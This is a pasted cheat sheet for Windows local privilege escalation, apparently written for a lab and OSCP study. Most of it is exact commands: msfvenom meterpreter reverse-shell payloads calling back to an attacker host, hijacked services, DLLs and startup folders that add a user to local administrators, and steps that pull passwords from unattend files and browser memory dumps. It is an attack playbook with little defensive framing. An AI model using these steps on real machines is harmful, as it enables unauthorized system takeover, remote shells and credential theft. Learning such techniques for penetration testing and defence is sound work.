Basic/Local Priv Esc


SUBMITTED BY: DevilDawg

DATE: Feb. 24, 2022, 5:50 p.m.

FORMAT: Text only

SIZE: 14.7 kB

HITS: 819

  1. LOCAL PRIVILEGE ESCALATION
  2. Basic Privilege escalation
  3. 1. Service Enumeration
  4. Get-ServiceUnquoted # returns services with unquoted paths that also have a space in the name
  5. Get-ModifiableServiceFile # returns services where the current user can write to the service binary path or its config
  6. Get-ModifiableService # returns services the current user can modify
  7. Get-ServiceDetail # returns detailed information about a specified service
  8. 2. Service Abuse
  9. Invoke-ServiceAbuse # modifies a vulnerable service to create a local admin or execute a custom command
  10. Write-ServiceBinary # writes out a patched C # service binary that adds a local admin or executes a custom command
  11. Install-ServiceBinary # replaces a service binary with one that adds a local admin or executes a custom command
  12. Restore-ServiceBinary # restores a replaced service binary with the original executable
  13. 3. DLL Hijacking
  14. Find-ProcessDLLHijack # finds potential DLL hijacking opportunities for currently running processes
  15. Find-PathDLLHijack # finds service %PATH% DLL hijacking opportunities
  16. Write-HijackDll # writes out a hijackable DLL
  17. 4. Registry Checks
  18. Get-RegistryAlwaysInstallElevated # checks if the AlwaysInstallElevated registry key is set
  19. Get-RegistryAutoLogon # checks for Autologon credentials in the registry
  20. Get-ModifiableRegistryAutoRun # checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns
  21. 5. Miscellaneous Checks
  22. Get-ModifiableScheduledTaskFile # find schtasks with modifiable target files
  23. Get-UnattendedInstallFile # finds remaining unattended installation files
  24. Get-Webconfig # checks for any encrypted web.config strings
  25. Get-ApplicationHost # checks for encrypted application pool and virtual directory passwords
  26. Get-SiteListPassword # retrieves the plaintext passwords for any found McAfee`'s SiteList.xml files
  27. Get-CachedGPPPassword # checks for passwords in cached Group Policy Preferences files
  28. 6. Other Helpers/Meta-Functions
  29. Get-ModifiablePath # tokenizes an input string and returns the files in it the current user can modify
  30. Get-CurrentUserTokenGroupSid # returns all SIDs that the current user is a part of, whether they are disabled or not
  31. Add-ServiceDacl # adds a Dacl field to a service object returned by Get-Service
  32. Set-ServiceBinPath # sets the binary path for a service to a specified value through Win32 API methods
  33. Test-ServiceDaclPermission # tests one or more passed services or service names against a given permission set
  34. Write-UserAddMSI # write out a MSI installer that prompts for a user to be added
  35. 7. Check ALL
  36. Invoke-AllChecks # runs all current escalation checks and returns a report
  37. Autorun
  38. Detection
  39. Windows VM
  40. Open command prompt and type: C:\Users\User\Desktop\Tools\Autoruns\Autoruns64.exe
  41. In Autoruns, click on the ‘Logon’ tab.
  42. From the listed results, notice that the “My Program” entry is pointing to “C:\Program Files\Autorun Program\program.exe”.
  43. In command prompt type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu "C:\Program Files\Autorun Program"
  44. From the output, notice that the “Everyone” user group has “FILE_ALL_ACCESS” permission on the “program.exe” file.
  45. Exploitation
  46. Kali VM
  47. Open command prompt and type: msfconsole
  48. In Metasploit (msf > prompt) type: use multi/handler
  49. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp
  50. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]
  51. In Metasploit (msf > prompt) type: run
  52. Open an additional command prompt and type: msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe -o program.exe
  53. Copy the generated file, program.exe, to the Windows VM.
  54. Windows VM
  55. Place program.exe in ‘C:\Program Files\Autorun Program’.
  56. To simulate the privilege escalation effect, logoff and then log back on as an administrator user.
  57. Kali VM
  58. Wait for a new session to open in Metasploit.
  59. In Metasploit (msf > prompt) type: sessions -i [Session ID]
  60. To confirm that the attack succeeded, in Metasploit (msf > prompt) type: getuid
  61. **********AlwaysInstallElevated**********
  62. Detection
  63. Windows VM
  64. Open command prompt and type: reg query HKLM\Software\Policies\Microsoft\Windows\Installer
  65. From the output, notice that “AlwaysInstallElevated” value is 1
  66. In command prompt type: reg query HKCU\Software\Policies\Microsoft\Windows\Installer
  67. From the output, notice that “AlwaysInstallElevated” value is 1
  68. exploitation
  69. Kali VM
  70. Open command prompt and type: msfconsole
  71. In Metasploit (msf > prompt) type: use multi/handler
  72. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp
  73. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]
  74. In Metasploit (msf > prompt) type: run
  75. Open an additional command prompt and type: msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f msi -o setup.msi
  76. Copy the generated file, setup.msi, to the Windows VM.
  77. Windows VM
  78. Place ‘setup.msi’ in ‘C:\Temp’.
  79. Open command prompt and type: msiexec /quiet /qn /i C:\Temp\setup.msi
  80. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
  81. Registry
  82. Detection
  83. Windows VM
  84. Open powershell prompt and type: Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
  85. Notice that the output suggests that user belong to “NT AUTHORITY\INTERACTIVE” has “FullContol” permission over the registry key.
  86. Exploitation
  87. Windows VM
  88. Copy ‘C:\Users\User\Desktop\Tools\Source\windows_service.c’ to the Kali VM.
  89. Kali VM
  90. Open windows_service.c in a text editor and replace the command used by the system() function to: cmd.exe /k net localgroup administrators user /add
  91. Exit the text editor and compile the file by typing the following in the command prompt: x86_64-w64-mingw32-gcc windows_service.c -o x.exe (NOTE: if this is not installed, use 'sudo apt install gcc-mingw-w64')
  92. Copy the generated file x.exe, to the Windows VM.
  93. Windows VM
  94. Place x.exe in ‘C:\Temp’.
  95. Open command prompt at type: reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f
  96. In the command prompt type: sc start regsvc
  97. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
  98. Exec Path
  99. Detection
  100. Windows VM
  101. Open command prompt and type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu "C:\Program Files\File Permissions Service"
  102. Notice that the “Everyone” user group has “FILE_ALL_ACCESS” permission on the filepermservice.exe file.
  103. Exploitation
  104. Windows VM
  105. Open command prompt and type: copy /y c:\Temp\x.exe "c:\Program Files\File Permissions Service\filepermservice.exe"
  106. In command prompt type: sc start filepermsvc
  107. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
  108. Startup Applications
  109. Detection
  110. Windows VM
  111. Open command prompt and type: icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
  112. From the output notice that the “BUILTIN\Users” group has full access ‘(F)’ to the directory.
  113. Exploitation
  114. Kali VM
  115. Open command prompt and type: msfconsole
  116. In Metasploit (msf > prompt) type: use multi/handler
  117. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp
  118. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]
  119. In Metasploit (msf > prompt) type: run
  120. Open another command prompt and type: msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Kali VM IP Address] -f exe -o x.exe
  121. Copy the generated file, x.exe, to the Windows VM. Windows VM
  122. Place x.exe in “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”.
  123. Logoff.
  124. Login with the administrator account credentials. Kali VM
  125. Wait for a session to be created, it may take a few seconds.
  126. In Meterpreter(meterpreter > prompt) type: getuid
  127. From the output, notice the user is “User-PC\Admin”
  128. DLL Hijacking
  129. Detection
  130. Windows VM
  131. Open the Tools folder that is located on the desktop and then go the Process Monitor folder.
  132. In reality, executables would be copied from the victim’s host over to the attacker’s host for analysis during run time. Alternatively, the same software can be installed on the attacker’s host for analysis, in case they can obtain it. To simulate this, right click on Procmon.exe and select ‘Run as administrator’ from the menu.
  133. In procmon, select "filter". From the left-most drop down menu, select ‘Process Name’.
  134. In the input box on the same line type: dllhijackservice.exe
  135. Make sure the line reads “Process Name is dllhijackservice.exe then Include” and click on the ‘Add’ button, then ‘Apply’ and lastly on ‘OK’.
  136. Next, select from the left-most drop down menu ‘Result’.
  137. In the input box on the same line type: NAME NOT FOUND
  138. Make sure the line reads “Result is NAME NOT FOUND then Include” and click on the ‘Add’ button, then ‘Apply’ and lastly on ‘OK’.
  139. Open command prompt and type: sc start dllsvc
  140. Scroll to the bottom of the window. One of the highlighted results shows that the service tried to execute ‘C:\Temp\hijackme.dll’ yet it could not do that as the file was not found. Note that ‘C:\Temp’ is a writable location.
  141. Exploitation
  142. Windows VM
  143. Copy ‘C:\Users\User\Desktop\Tools\Source\windows_dll.c’ to the Kali VM.
  144. Kali VM
  145. Open windows_dll.c in a text editor and replace the command used by the system() function to: cmd.exe /k net localgroup administrators user /add
  146. Exit the text editor and compile the file by typing the following in the command prompt: x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll
  147. Copy the generated file hijackme.dll, to the Windows VM. Windows VM
  148. Place hijackme.dll in ‘C:\Temp’.
  149. Open command prompt and type: sc stop dllsvc & sc start dllsvc
  150. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
  151. BinPath
  152. Detection
  153. Windows VM
  154. Open command prompt and type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wuvc daclsvc
  155. Notice that the output suggests that the user “User-PC\User” has the “SERVICE_CHANGE_CONFIG” permission.
  156. Exploitation
  157. Windows VM
  158. In command prompt type: sc config daclsvc binpath= "net localgroup administrators user /add"
  159. In command prompt type: sc start daclsvc
  160. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
  161. Unquoted Service Paths
  162. Detection
  163. Windows VM
  164. Open command prompt and type: sc qc unquotedsvc
  165. Notice that the “BINARY_PATH_NAME” field displays a path that is not confined between quotes.
  166. Exploitation
  167. Kali VM
  168. Open command prompt and type: msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe
  169. Copy the generated file, common.exe, to the Windows VM.
  170. Windows VM
  171. Place common.exe in ‘C:\Program Files\Unquoted Path Service’.
  172. Open command prompt and type: sc start unquotedsvc
  173. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
  174. Hot Potato
  175. Exploitation
  176. Windows VM
  177. In command prompt type: powershell.exe -nop -ep bypass
  178. In Power Shell prompt type: Import-Module C:\Users\User\Desktop\Tools\Tater\Tater.ps1
  179. In Power Shell prompt type: Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"
  180. To confirm that the attack was successful, in Power Shell prompt type: net localgroup administrators
  181. Configuration Files
  182. Exploitation
  183. Windows VM
  184. Open command prompt and type: notepad C:\Windows\Panther\Unattend.xml
  185. Scroll down to the "Password" property and copy the base64 string that is confined between the "Value" tags underneath it.
  186. Kali VM
  187. In a terminal, type: echo [copied base64] | base64 -d
  188. Notice the cleartext password
  189. Memory
  190. Exploitation
  191. Kali VM
  192. Open command prompt and type: msfconsole
  193. In Metasploit (msf > prompt) type: use auxiliary/server/capture/http_basic
  194. In Metasploit (msf > prompt) type: set uripath x
  195. In Metasploit (msf > prompt) type: run
  196. Windows VM
  197. Open Internet Explorer and browse to: http://[Kali VM IP Address]/x
  198. Open command prompt and type: taskmgr
  199. In Windows Task Manager, right-click on the “iexplore.exe” in the "Image Name" columnand select “Create Dump File” from the popup menu.
  200. Copy the generated file, iexplore.DMP, to the Kali VM.
  201. Kali VM
  202. Place 'iexplore.DMP' on the desktop.
  203. Open command prompt and type: strings /root/Desktop/iexplore.DMP | grep "Authorization: Basic"
  204. Select the Copy the Base64 encoded string.
  205. In command prompt type: echo -ne [Base64 String] | base64 -d
  206. Notice the credentials in the output.
  207. Stuff
  208. PowerUp Misconfiguration Abuse
  209. Powerless (bat version OSCP prepair)
  210. BeRoot General Priv Esc Enumeration Tool
  211. Privesc General Priv Esc Enumeration Tool
  212. FullPowers Restore A Service Account's Privileges
  213. Juicy Potato Abuse SeImpersonate or SeAssignPrimaryToken Privileges for System Impersonation, warning Works only until Windows Server 2016 and Windows 10 until patch 1803
  214. Lovely Potato Automated Juicy Potato, warning Works only until Windows Server 2016 and Windows 10 until patch 1803
  215. PrintSpoofer Exploit the PrinterBug for System Impersonation
  216. Pray Works for Windows Server 2019 and Windows 10
  217. RoguePotato Upgraded Juicy Potato
  218. Pray Works for Windows Server 2019 and Windows 10
  219. Abusing Token Privileges
  220. SMBGhost CVE-2020-0796

comments powered by Disqus